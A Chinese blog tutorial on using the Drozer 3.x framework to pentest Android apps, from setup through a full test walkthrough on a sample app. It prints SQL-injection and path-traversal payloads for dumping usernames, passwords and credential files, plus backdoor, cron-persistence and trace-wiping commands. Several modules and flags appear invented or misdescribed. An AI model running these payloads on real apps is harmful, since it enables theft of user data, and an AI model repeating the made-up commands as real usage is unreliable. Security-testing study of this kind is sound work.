Drozer 3.x 是针对 Android 安全评估的现代化框架,相较于仅支持 Python 2.7 的旧版本,3.x 版本全面兼容 Python 3.6+,采用模块化架构并通过 PyPI 分发,大幅简化了安装部署流程。本指南将深入介绍如何利用 Drozer 3.x 对 Android 应用进行全面的安全测试。

博主博客

第一章:环境搭建与配置

1.1 系统要求与安装

Drozer 3.x 支持 Windows、macOS 和 Linux 系统。以下是各平台的安装方法:

Python环境准备(所有平台):

# 检查Python版本,需要3.6及以上
python --version

# 建议使用虚拟环境
python -m venv drozer-env

# 激活虚拟环境
# Windows:
drozer-env\Scripts\activate
# Linux/macOS:
source drozer-env/bin/activate

Drozer 3.x 安装

# 通过pip安装最新版本
pip install drozer

# 安装开发版本(可选)
pip install git+https://github.com/WithSecureLabs/drozer.git

Android端代理安装

# 从官方仓库下载最新代理APK
# 或使用已下载的APK文件
adb install drozer-agent-3.0.apk

1.2 连接建立与验证

  1. 配置Android设备

    • 开启开发者选项和USB调试
    • 安装并启动Drozer Agent
    • 在Agent中启用嵌入式服务器
  2. 建立ADB端口转发

    adb forward tcp:31415 tcp:31415
    
  3. 连接到设备

    # 基础连接命令
    drozer console connect
    
    # 指定主机和端口(如需远程连接)
    drozer console connect --server 192.168.1.100
    
    # 使用指定证书连接
    drozer console connect --certificate server.crt
    
  4. 验证连接

    # 连接成功后,测试基本功能
    dz> list
    dz> run app.package.list
    

第二章:核心命令详解与使用技巧

2.1 信息收集模块

信息收集是渗透测试的第一步,Drozer 提供了全面的信息收集模块。

应用包枚举

# 列出所有已安装应用
run app.package.list

# 过滤特定应用(支持正则表达式)
run app.package.list -f "bank|支付|金融"

# 显示第三方应用
run app.package.list -thirdparty

# 显示应用详情
run app.package.info -a com.example.targetapp

权限分析

# 查看应用声明的权限
run app.package.permissions -a com.example.targetapp

# 查找使用危险权限的应用
run app.package.dangerous -a com.example.targetapp

# 检查权限保护级别
run app.package.manifest -a com.example.targetapp

设备信息收集

# 获取设备基本信息
run device.info

# 检查设备安全设置
run device.security

# 查看已连接账户
run device.accounts

2.2 攻击面分析

这是Drozer的核心功能,用于识别潜在的攻击向量。

全面攻击面分析

# 基础攻击面分析
run app.package.attacksurface com.example.targetapp

# 详细输出
run app.package.attacksurface --verbose com.example.targetapp

# 输出格式化为JSON(便于自动化处理)
run app.package.attacksurface --format json com.example.targetapp

组件导出分析

# 分析Activity导出情况
run app.activity.info -a com.example.targetapp

# 分析Service导出情况  
run app.service.info -a com.example.targetapp

# 分析Broadcast Receiver导出情况
run app.broadcast.info -a com.example.targetapp

# 分析Content Provider导出情况
run app.provider.info -a com.example.targetapp

2.3 Activity测试与利用

Activity枚举与启动

# 列出所有Activity(包括未导出的)
run app.activity.info -a com.example.targetapp -u

# 尝试启动Activity
run app.activity.start --component com.example.targetapp com.example.targetapp.MainActivity

# 带参数启动Activity
run app.activity.start --component com.example.targetapp com.example.targetapp.LoginActivity --extra string username "admin" --extra string password "123456"

# 使用Intent启动Activity
run app.activity.start --action android.intent.action.VIEW --data-uri "https://example.com"

Activity劫持与绕过

# 检查Activity劫持漏洞
run app.activity.hijack -a com.example.targetapp

# 尝试绕过权限检查
run app.activity.forintent --component com.example.targetapp --action android.intent.action.SEND

2.4 Content Provider测试

Content Provider是Android数据共享的核心组件,也是最常出现漏洞的地方。

URI发现与枚举

# 自动发现可访问的URI
run scanner.provider.finduris -a com.example.targetapp

# 暴力破解URI路径
run scanner.provider.sqltables -a com.example.targetapp

# 枚举Provider的MIME类型
run app.provider.columns content://com.example.targetapp.provider/table1

数据查询与提取

# 基本数据查询
run app.provider.query content://com.example.targetapp.provider/users

# 带条件查询
run app.provider.query content://com.example.targetapp.provider/users --selection "username='admin'"

# 跨Provider查询(如果支持)
run app.provider.query content://com.example.targetapp.provider/users --projection "username,password"

# 使用垂直格式显示结果(更易读)
run app.provider.query content://com.example.targetapp.provider/users --vertical

SQL注入漏洞检测

# 自动化SQL注入检测
run scanner.provider.injection -a com.example.targetapp

# 手动测试SQL注入
run app.provider.query content://com.example.targetapp.provider/users --selection "1=1) UNION SELECT * FROM sqlite_master--"

# 测试盲注
run app.provider.query content://com.example.targetapp.provider/users --selection "1=1 AND 1=2"

目录遍历与文件访问

# 自动化目录遍历检测
run scanner.provider.traversal -a com.example.targetapp

# 尝试访问系统文件
run app.provider.read content://com.example.targetapp.provider/../../../../etc/hosts

# 尝试写入文件
run app.provider.download content://com.example.targetapp.provider/../shared_prefs/config.xml /tmp/config.xml

2.5 Broadcast Receiver测试

广播接收器分析

# 列出所有广播接收器
run app.broadcast.info -a com.example.targetapp

# 查看广播接收器的Intent Filter
run app.broadcast.info -a com.example.targetapp -i

# 发送测试广播
run app.broadcast.send --component com.example.targetapp com.example.targetapp.MyReceiver --extra string data "test"

广播漏洞利用

# 测试广播拒绝服务
run app.broadcast.send --component com.example.targetapp com.example.targetapp.CrashReceiver --extra string large_data "$(python -c 'print("A"*10000)')"

# 尝试权限绕过
run app.broadcast.send --action com.example.targetapp.INTERNAL_ACTION

# 发送有序广播攻击
run app.broadcast.send --action com.example.targetapp.ORDERED_BROADCAST --extra string result "malicious"

2.6 Service测试

服务组件分析

# 列出所有服务
run app.service.info -a com.example.targetapp

# 启动服务
run app.service.start --component com.example.targetapp com.example.targetapp.MyService

# 停止服务
run app.service.stop --component com.example.targetapp com.example.targetapp.MyService

服务通信测试

# 绑定到服务
run app.service.bind --component com.example.targetapp com.example.targetapp.RemoteService

# 发送消息到服务
run app.service.send --component com.example.targetapp com.example.targetapp.MessageService --extra string command "execute"

2.7 自动化扫描模块

Drozer 3.x 提供了强大的自动化扫描功能。

全面漏洞扫描

# 运行所有扫描器
run scanner.misc.native -a com.example.targetapp
run scanner.misc.readablefiles -a com.example.targetapp
run scanner.misc.writablefiles -a com.example.targetapp

# 检查WebView漏洞
run scanner.misc.webview -a com.example.targetapp

# 检查证书验证
run scanner.misc.ssl -a com.example.targetapp

自定义扫描

# 创建自定义扫描模块
run tools.setup.scanner --create my_scanner

# 运行自定义扫描
run scanner.custom.my_scanner -a com.example.targetapp

第三章:高级技巧与实战案例

3.1 Drozer脚本扩展

编写自定义模块

# 保存为custom_module.py
from drozer.modules import Module

class CustomExploit(Module):
    name = "测试自定义模块"
    description = "测试特定漏洞"
    examples = ""
    author = "Your Name"
    date = "2024-01-01"
    license = "BSD"
    path = ["exploit", "custom"]
    
    def execute(self, arguments):
        # 模块逻辑
        self.stdout.write("自定义模块执行成功\n")

使用自定义模块

# 加载模块
module load /path/to/custom_module.py

# 执行模块
run exploit.custom.custom_exploit -a com.example.targetapp

3.2 数据提取与分析

数据库操作

# 列出数据库文件
run tools.file.list /data/data/com.example.targetapp/databases/

# 下载数据库文件
run tools.file.download /data/data/com.example.targetapp/databases/users.db /tmp/users.db

# 在设备上直接查询数据库
run shell.exec "sqlite3 /data/data/com.example.targetapp/databases/users.db 'SELECT * FROM users;'"

SharedPreferences提取

# 查找SharedPreferences文件
run tools.file.find /data/data/com.example.targetapp/shared_prefs/

# 读取XML格式的配置文件
run tools.file.read /data/data/com.example.targetapp/shared_prefs/config.xml

3.3 权限提升与持久化

权限提升测试

# 检查可调试应用
run app.package.debuggable

# 尝试利用可调试应用
run exploit.app.debuggable -a com.example.targetapp

# 检查SU二进制文件
run tools.setup.minimalsu

持久化访问

# 安装后门APK
run tools.build.build_agent --output /tmp/backdoor.apk

# 设置定时任务
run shell.exec "echo '* * * * * /data/local/tmp/payload.sh' > /data/local/tmp/crontab"

第四章:实战演练:完整测试流程

以下是一个针对测试应用 com.example.vulnerableapp 的完整测试流程:

阶段一:侦查与信息收集

# 1. 发现目标应用
run app.package.list -f vulnerable

# 2. 收集应用信息
run app.package.info -a com.example.vulnerableapp

# 3. 分析攻击面
run app.package.attacksurface --verbose com.example.vulnerableapp

阶段二:漏洞识别与验证

# 4. 测试Content Provider
run scanner.provider.finduris -a com.example.vulnerableapp
run scanner.provider.injection -a com.example.vulnerableapp
run scanner.provider.traversal -a com.example.vulnerableapp

# 5. 测试Activity
run app.activity.info -a com.example.vulnerableapp
run app.activity.start --component com.example.vulnerableapp com.example.vulnerableapp.AdminActivity

# 6. 测试Broadcast Receiver
run app.broadcast.info -a com.example.vulnerableapp
run app.broadcast.send --component com.example.vulnerableapp com.example.vulnerableapp.MessageReceiver

阶段三:利用与数据提取

# 7. 利用SQL注入提取数据
run app.provider.query content://com.example.vulnerableapp.provider/users --selection "1=1) UNION SELECT username,password FROM users--"

# 8. 提取敏感文件
run app.provider.download content://com.example.vulnerableapp.provider/../shared_prefs/credentials.xml /tmp/creds.xml

# 9. 尝试权限提升
run exploit.app.debuggable -a com.example.vulnerableapp

阶段四:报告与清理

# 10. 生成报告
run tools.report.generate -a com.example.vulnerableapp --format html --output /tmp/report.html

# 11. 清理痕迹
run shell.exec "rm -rf /data/local/tmp/drozer_*"

第五章:最佳实践与注意事项

5.1 测试环境配置

  • 使用专门的测试设备或模拟器
  • 配置完整的测试网络环境
  • 备份原始应用和数据
  • 记录所有测试操作

5.2 合法性与道德规范

  1. 获取明确授权:仅测试拥有合法权限的应用
  2. 遵守法律法规:了解并遵守当地网络安全法律
  3. 数据保护:不泄露测试中发现的真实用户数据
  4. 负责任披露:发现漏洞后通过正确渠道报告

5.3 故障排除

常见问题与解决方案

问题 可能原因 解决方案
连接失败 ADB未正确配置 检查adb devices,重新连接
命令无响应 Agent未运行 重启手机Agent,重新启用服务器
权限不足 应用未正确配置 检查测试应用的权限设置
模块加载失败 Python依赖问题 重新安装Drozer和依赖包

调试技巧

# 启用详细日志
drozer console connect --verbose

# 查看Drozer日志
tail -f ~/.drozer/logs/drozer.log

# 重置Drozer配置
drozer console clean

结语

Drozer 3.x 作为现代化的 Android 安全评估框架,提供了从信息收集到漏洞利用的完整工具链。通过掌握本指南中的命令和技巧,你可以系统性地评估Android应用的安全性。记住,技术是双刃剑,始终保持职业道德和法律意识,将你的技能用于提升应用安全、保护用户数据。